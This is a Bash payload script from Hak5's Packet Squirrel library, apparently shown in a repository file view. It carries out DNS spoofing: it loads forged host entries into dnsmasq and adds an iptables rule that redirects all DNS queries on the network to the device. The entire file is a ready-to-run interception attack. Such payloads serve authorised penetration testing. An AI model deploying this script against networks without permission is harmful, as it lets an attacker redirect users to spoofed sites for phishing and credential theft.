packetsquirrel-payloads/legacy-mk1/payloads/library/interception/dnsspoof/payload.sh

40 lines
798 B
Bash
Raw Normal View History

2017-10-19 05:12:05 +00:00
#!/bin/bash
#
# This payload is for the original Packet Squirrel. It may not work on
# the Packet Squirrel Mark II
#
# Title: DNSSpoof
# Description: Forge replies to arbitrary DNS queries using DNSMasq
# Author: Hak5
# Version: 1.0
# Category: interception
# Target: Any
# Net Mode: NAT
2017-10-19 05:12:05 +00:00
function setup() {
# Show SETUP LED
LED SETUP
# Set the network mode to NAT
NETMODE NAT
sleep 5
# Copy the spoofhost file to /tmp/dnsmasq.address
cp $(dirname ${BASH_SOURCE[0]})/spoofhost /tmp/dnsmasq.address &> /dev/null
# Restart dnsmasq with the new configuration
/etc/init.d/dnsmasq restart
2017-10-19 05:12:05 +00:00
}
function run() {
# Show ATTACK LED
LED ATTACK
# Redirect all DNS traffic to ourselves
iptables -A PREROUTING -t nat -i eth0 -p udp --dport 53 -j REDIRECT --to-port 53
2017-10-19 05:12:05 +00:00
}
setup
run